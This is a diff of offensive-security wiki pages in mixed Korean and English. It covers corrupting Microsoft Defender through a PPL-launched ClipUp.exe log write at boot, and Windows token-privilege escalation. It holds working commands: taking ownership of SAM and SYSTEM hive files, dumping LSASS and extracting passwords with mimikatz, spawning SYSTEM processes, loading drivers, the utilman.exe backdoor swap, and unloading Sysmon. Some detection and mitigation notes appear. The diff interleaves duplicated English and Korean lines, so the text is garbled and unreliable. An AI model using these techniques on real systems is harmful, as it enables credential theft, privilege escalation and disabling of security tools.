- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
@ -786,7 +787,7 @@ stealing-credentials/credentials-protections.md
Launcher tooling
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Usage pattern:
- 사용 예시:
```text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -794,51 +795,51 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN primitive: ClipUp.exe
- The signed system binary `C:\Windows\System32\ClipUp.exe`는 자체적으로 프로세스를 생성하며, 호출자가 지정한 경로에 로그 파일을 쓰기 위한 매개변수를 받습니다.
LOLBIN 프리미티브: ClipUp.exe
- The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path.
- When launched as a PPL process, the file write occurs with PPL backing.
- ClipUp는 공백이 포함된 경로를 파싱할 수 없습니다; 일반적으로 보호되는 위치를 가리킬 때는 8.3 short paths를 사용하세요.
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
8.3 short path helpers
- 짧은 이름 나열: 각 상위 디렉터리에서 `dir /x` 실행
- cmd에서 짧은 경로 도출: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
8.3 단축 경로 도움말
- List short names: `dir /x` in each parent directory.
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) 런처(예: CreateProcessAsPPL)를 사용해 `CREATE_PROTECTED_PROCESS`로 PPL 지원 LOLBIN(ClipUp)을 실행합니다.
2) ClipUp 로그 경로 인수를 전달하여 보호된 AV 디렉터리(예: Defender Platform)에 파일 생성을 강제합니다. 필요하면 8.3 short names를 사용하세요.
3) 대상 바이너리가 실행 중 AV에 의해 열려 있거나 잠겨 있는 경우(예: MsMpEng.exe), 자동 시작 서비스를 설치해 AV보다 먼저 확실히 실행되도록 부팅 시 쓰기를 예약하세요. 부팅 순서는 Process Monitor (boot logging)로 확인하세요.
4) 재부팅 시 PPL로 지원된 쓰기가 AV가 바이너리를 잠그기 전에 발생하여 대상 파일을 손상시키고 시작을 방지합니다.
악용 체인 (개요)
1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL).
2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed.
3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Notes and constraints
- ClipUp가 쓰는 내용은 배치(placement) 외에는 제어할 수 없습니다; 이 프리미티브는 정한 콘텐츠 주입보다는 손상(corruption)에 적합합니다.
- 서비스 설치/시작과 재부팅 창(reboot window)이 필요하므로 로컬 admin/SYSTEM 권한이 필요합니다.
- 타이밍이 중요: 대상 파일이 열려 있으면 안 됩니다; 부팅 시 실행은 파일 락을 회피합니다.
주의사항 및 제약
- ClipUp가 쓰는 내용은 배치(placement) 외에는 제어할 수 없습니다; 이 프리미티브는 정한 콘텐츠 주입보다는 손상(corruption)에 적합합니다.
- 로컬 admin/SYSTEM 권한이 필요하며 서비스 설치/시작과 재부팅 시간이 필요합니다.
- 타이밍이 중요합니다: 대상이 열려 있지 않아야 하며, 부팅 시 실행하면 파일 잠금을 피할 수 있습니다.
Detections
- 부팅 시점 주변에 비정상적인 인수로 `ClipUp.exe`가 생성되는 프로세스(특히 비표준 런처로부터 부모화된 경우)를 탐지합니다.
- 의심스러운 이진을 자동 시작(auto-start)으로 설정하는 새 서비스 및 Defender/AV보다 일관되게 먼저 시작되는 서비스. Defender 시작 실패 이전의 서비스 생성/수정 여부를 조사합니다.
- Defender 이진/Platform 디렉터리에 대한 파일 무결성 모니터링; protected-process 플래그를 가진 프로세스에 의한 예기치 않은 파일 생성/수정.
- ETW/EDR 텔레메트리: `CREATE_PROTECTED_PROCESS`로 생성된 프로세스 및 AV가 아닌 이진에서의 비정상적 PPL 레벨 사용을 검사합니다.
탐지
- 부팅 전후로 비정상적인 인수로 `ClipUp.exe` 프로세스가 생성되는 경우, 특히 비표준 런처에 의해 부모 프로세스화(parented)된 경우 주의하세요.
- 의심스러운 바이너리를 자동 시작하도록 구성된 새 서비스 및 일관되게 Defender/AV보다 먼저 시작되는 서비스. Defender 시작 실패 이전의 서비스 생성/수정 내역을 조사하세요.
- Defender 바이너리/Platform 디렉터리에 대한 파일 무결성 모니터링; protected-process 플래그를 가진 프로세스에 의한 예상치 못한 파일 생성/수정.
- ETW/EDR 텔레메트리: `CREATE_PROTECTED_PROCESS`로 생성된 프로세스와 비-AV 바이너리에 의한 이상한 PPL 레벨 사용을 확인하세요.
Mitigations
- WDAC/Code Integrity: 어떤 서명된 바이너리가 PPL로 실행될 수 있는지와 어떤 부모 프로세스인지 제한; 정당한 컨텍스트 외에서의 ClipUp 호출을 차단합니다.
- 서비스 위생(Service hygiene): 자동 시작 서비스의 생성/수정을 제한하고 시작 순서(start-order) 조작을 모니터링합니다.
- Defender tamper protection 및 early-launch 보호가 활성화되어 있는지 확인; 바이너리 손상을 나타내는 시작 오류를 조사합니다.
- 보안 툴링을 호스팅하는 볼륨에서 환경과 호환된다면 8.3 short-name 생성(disable 8.3 short-name generation) 비활성화를 고려하세요(충분히 테스트하십시오).
완화 조치
- WDAC/Code Integrity: 어떤 서명된 바이너리가 PPL로 실행될 수 있고 어떤 부모 아래에서 실행될 수 있는지를 제한; 정당한 컨텍스트 외에서의 ClipUp 호출을 차단하세요.
- 서비스 위생: 자동 시작 서비스의 생성/수정 권한을 제한하고 시작 순서 조작을 모니터링하세요.
- Defender tamper protection 및 early-launch 보호가 활성화되어 있는지 확인하고, 바이너리 손상을 나타내는 시작 오류를 조사하세요.
- 보안 툴이 호스팅되는 볼륨에서 8.3 short-name generation을 비활성화하는 것을 고려하되 환경과 호환되는지(철저히 테스트) 확인하세요.
References for PPL and tooling
PPL 및 도구 관련 참조
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## References
## 참조
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)

View File

@ -1,180 +0,0 @@
# Abusing Tokens
{{#include ../../../banners/hacktricks-training.md}}
## Tokens
Windows Access Tokens이 무엇인지 **모르신다면** 계속 진행하기 전에 이 페이지를 읽어보세요:
{{#ref}}
../access-tokens.md
{{#endref}}
**이미 가지고 있는 토큰을 악용하여 권한 상승을 할 수 있을지도 모릅니다.**
### SeImpersonatePrivilege
이 권한은 어떤 프로세스가 토큰을 생성하지 않고도 임시로 사용할 수 있도록 허용합니다. 핸들을 얻을 수 있는 경우, Windows 서비스(DCOM)에서 특권 토큰을 획득할 수 있으며, 이를 통해 NTLM 인증을 수행하게 하여 SYSTEM 권한으로 프로세스를 실행할 수 있습니다. 이 취약점은 [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (winrm이 비활성화되어 있어야 함), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) 및 [PrintSpoofer](https://github.com/itm4n/PrintSpoofer)와 같은 다양한 도구를 사용하여 악용할 수 있습니다.
{{#ref}}
../roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../juicypotato.md
{{#endref}}
### SeAssignPrimaryPrivilege
이 권한은 **SeImpersonatePrivilege**와 매우 유사하며, 특권 토큰을 얻기 위해 **같은 방법**을 사용합니다.\
그 후, 이 권한은 **새로운/중단된 프로세스에 기본 토큰을 할당**할 수 있도록 허용합니다. 특권 임시 토큰을 사용하여 기본 토큰을 파생할 수 있습니다(DuplicateTokenEx).\
이 토큰을 사용하여 'CreateProcessAsUser'로 **새 프로세스**를 생성하거나 중단된 프로세스를 생성하고 **토큰을 설정**할 수 있습니다(일반적으로 실행 중인 프로세스의 기본 토큰을 수정할 수는 없습니다).
### SeTcbPrivilege
이 토큰이 활성화되어 있으면 **KERB_S4U_LOGON**을 사용하여 자격 증명 없이 다른 사용자의 **임시 토큰**을 얻을 수 있으며, **임의의 그룹**(관리자)을 토큰에 추가하고, 토큰의 **무결성 수준**을 "**중간**"으로 설정하고, 이 토큰을 **현재 스레드**에 할당할 수 있습니다(SetThreadToken).
### SeBackupPrivilege
이 권한은 시스템이 모든 파일에 대한 **읽기 접근** 제어를 부여하도록 합니다(읽기 작업에 한정됨). 이는 레지스트리에서 로컬 관리자 계정의 비밀번호 해시를 **읽기 위해** 사용되며, 이후 "**psexec**" 또는 "**wmiexec**"와 같은 도구를 해시와 함께 사용할 수 있습니다(패스-더-해시 기법). 그러나 이 기법은 두 가지 조건에서 실패합니다: 로컬 관리자 계정이 비활성화되어 있거나, 원격으로 연결하는 로컬 관리자에게 관리 권한을 제거하는 정책이 시행될 때입니다.\
이 권한을 **악용할 수 있습니다**:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
- [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)에서 **IppSec**를 따르기
- 또는 다음의 **Backup Operators로 권한 상승** 섹션에서 설명된 대로:
{{#ref}}
../../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### SeRestorePrivilege
이 권한은 파일의 접근 제어 목록(ACL)에 관계없이 모든 시스템 파일에 대한 **쓰기 접근** 권한을 제공합니다. 이는 서비스 **수정**, DLL 하이재킹 수행, 다양한 다른 기법 중에서 이미지 파일 실행 옵션을 통해 **디버거**를 설정하는 등 권한 상승의 많은 가능성을 열어줍니다.
### SeCreateTokenPrivilege
SeCreateTokenPrivilege는 강력한 권한으로, 사용자가 토큰을 임시로 사용할 수 있는 능력을 가질 때 특히 유용하지만 SeImpersonatePrivilege가 없는 경우에도 유용합니다. 이 기능은 동일한 사용자를 나타내는 토큰을 임시로 사용할 수 있는 능력에 의존하며, 이 토큰의 무결성 수준이 현재 프로세스의 무결성 수준을 초과하지 않아야 합니다.
**주요 사항:**
- **SeImpersonatePrivilege 없이 임시 사용:** 특정 조건에서 토큰을 임시로 사용하여 EoP를 위해 SeCreateTokenPrivilege를 활용할 수 있습니다.
- **토큰 임시 사용 조건:** 성공적인 임시 사용은 대상 토큰이 동일한 사용자에게 속하고, 임시 사용을 시도하는 프로세스의 무결성 수준보다 낮거나 같아야 합니다.
- **임시 토큰의 생성 및 수정:** 사용자는 임시 토큰을 생성하고 특권 그룹의 SID(보안 식별자)를 추가하여 이를 향상시킬 수 있습니다.
### SeLoadDriverPrivilege
이 권한은 특정 값이 있는 레지스트리 항목을 생성하여 **장치 드라이버를 로드하고 언로드**할 수 있도록 허용합니다. `HKLM` (HKEY_LOCAL_MACHINE)에 대한 직접 쓰기 접근이 제한되므로 대신 `HKCU` (HKEY_CURRENT_USER)를 사용해야 합니다. 그러나 드라이버 구성을 위해 `HKCU`가 커널에 인식되도록 하려면 특정 경로를 따라야 합니다.
이 경로는 `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`이며, 여기서 `<RID>`는 현재 사용자의 상대 식별자입니다. `HKCU` 내에서 이 전체 경로를 생성하고 두 가지 값을 설정해야 합니다:
- `ImagePath`, 실행할 바이너리의 경로
- `Type`, 값은 `SERVICE_KERNEL_DRIVER` (`0x00000001`).
**따라야 할 단계:**
1. 제한된 쓰기 접근으로 인해 `HKLM` 대신 `HKCU`에 접근합니다.
2. `HKCU` 내에 `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` 경로를 생성합니다. 여기서 `<RID>`는 현재 사용자의 상대 식별자를 나타냅니다.
3. `ImagePath`를 바이너리의 실행 경로로 설정합니다.
4. `Type``SERVICE_KERNEL_DRIVER` (`0x00000001`)로 할당합니다.
```python
# Example Python code to set the registry values
import winreg as reg
# Define the path and values
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
reg.CloseKey(key)
```
더 많은 방법은 [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)에서 확인할 수 있습니다.
### SeTakeOwnershipPrivilege
이는 **SeRestorePrivilege**와 유사합니다. 이 특권의 주요 기능은 프로세스가 **객체의 소유권을 가정**할 수 있도록 하여, WRITE_OWNER 접근 권한을 제공함으로써 명시적인 재량적 접근 요구 사항을 우회하는 것입니다. 이 과정은 먼저 쓰기 목적으로 의도된 레지스트리 키의 소유권을 확보한 다음, 쓰기 작업을 가능하게 하기 위해 DACL을 변경하는 것을 포함합니다.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
# Use this with files that might contain credentials such as
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
c:\inetpub\wwwwroot\web.config
```
### SeDebugPrivilege
이 권한은 **다른 프로세스를 디버그**할 수 있게 하며, 메모리에서 읽고 쓸 수 있습니다. 대부분의 안티바이러스 및 호스트 침입 방지 솔루션을 회피할 수 있는 다양한 메모리 주입 전략을 이 권한으로 사용할 수 있습니다.
#### 메모리 덤프
[ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 또는 [SharpDump](https://github.com/GhostPack/SharpDump)를 사용하여 **프로세스의 메모리**를 캡처할 수 있습니다. 특히, 이는 사용자가 시스템에 성공적으로 로그인한 후 사용자 자격 증명을 저장하는 **로컬 보안 권한 하위 시스템 서비스 ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** 프로세스에 적용될 수 있습니다.
그런 다음 이 덤프를 mimikatz에 로드하여 비밀번호를 얻을 수 있습니다:
```
mimikatz.exe
mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
#### RCE
`NT SYSTEM` 셸을 얻고 싶다면 다음을 사용할 수 있습니다:
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
```bash
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
```
### SeManageVolumePrivilege
`SeManageVolumePrivilege`는 사용자가 디스크 볼륨을 관리할 수 있도록 허용하는 Windows 사용자 권한으로, 볼륨을 생성하고 삭제하는 것을 포함합니다. 관리자를 위해 설계되었지만, 비관리자 사용자에게 부여될 경우 권한 상승을 위해 악용될 수 있습니다.
이 권한을 활용하여 볼륨을 조작할 수 있으며, 이는 전체 볼륨 접근으로 이어질 수 있습니다. [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit)를 사용하여 C:\에 대한 모든 사용자에게 전체 접근 권한을 부여할 수 있습니다.
또한, [이 Medium 기사](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37)에서 설명하는 프로세스는 `SeManageVolumePrivilege`와 함께 DLL 하이재킹을 사용하여 권한을 상승시키는 방법을 설명합니다. 페이로드 DLL `C:\Windows\System32\wbem\tzres.dll`를 배치하고 `systeminfo`를 호출하면 DLL이 실행됩니다.
## Check privileges
```
whoami /priv
```
**비활성화된** 토큰은 활성화할 수 있으며, 실제로 _활성화된__비활성화된_ 토큰을 악용할 수 있습니다.
### 모든 토큰 활성화
토큰이 비활성화된 경우, 스크립트 [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1)를 사용하여 모든 토큰을 활성화할 수 있습니다:
```bash
.\EnableAllTokenPrivs.ps1
whoami /priv
```
Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
## Table
Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"사용자가 토큰을 가장하고 potato.exe, rottenpotato.exe 및 juicypotato.exe와 같은 도구를 사용하여 nt 시스템으로 권한 상승을 허용합니다."_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
| **`SeBackup`** | **Threat** | _**Built-in commands**_ | `robocopy /b`로 민감한 파일 읽기 | <p>- %WINDIR%\MEMORY.DMP를 읽을 수 있다면 더 흥미로울 수 있습니다.<br><br>- <code>SeBackupPrivilege</code> (및 robocopy)는 열린 파일에 대해서는 도움이 되지 않습니다.<br><br>- Robocopy는 /b 매개변수로 작동하려면 SeBackup 및 SeRestore가 모두 필요합니다.</p> |
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken`으로 로컬 관리자 권한을 포함한 임의의 토큰 생성. | |
| **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` 토큰 복제. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. <code>szkg64.sys</code>와 같은 결함이 있는 커널 드라이버 로드<br>2. 드라이버 취약점 악용<br><br>또는, 이 권한을 사용하여 <code>ftlMC</code> 내장 명령으로 보안 관련 드라이버를 언로드할 수 있습니다. 즉: <code>fltMC sysmondrv</code></p> | <p>1. <code>szkg64</code> 취약점은 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a>로 나열되어 있습니다.<br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">악용 코드</a><a href="https://twitter.com/parvezghh">Parvez Anwar</a>에 의해 작성되었습니다.</p> |
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. SeRestore 권한이 있는 상태에서 PowerShell/ISE 시작.<br>2. <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>로 권한 활성화.<br>3. utilman.exe를 utilman.old로 이름 변경<br>4. cmd.exe를 utilman.exe로 이름 변경<br>5. 콘솔 잠그고 Win+U 누르기</p> | <p>공격은 일부 AV 소프트웨어에 의해 감지될 수 있습니다.</p><p>대체 방법은 동일한 권한을 사용하여 "Program Files"에 저장된 서비스 바이너리를 교체하는 것입니다.</p> |
| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. cmd.exe를 utilman.exe로 이름 변경<br>4. 콘솔 잠그고 Win+U 누르기</p> | <p>공격은 일부 AV 소프트웨어에 의해 감지될 수 있습니다.</p><p>대체 방법은 동일한 권한을 사용하여 "Program Files"에 저장된 서비스 바이너리를 교체하는 것입니다.</p> |
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>토큰을 조작하여 로컬 관리자 권한을 포함하도록 합니다. SeImpersonate가 필요할 수 있습니다.</p><p>확인 필요.</p> | |
## Reference
- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
{{#include ../../../banners/hacktricks-training.md}}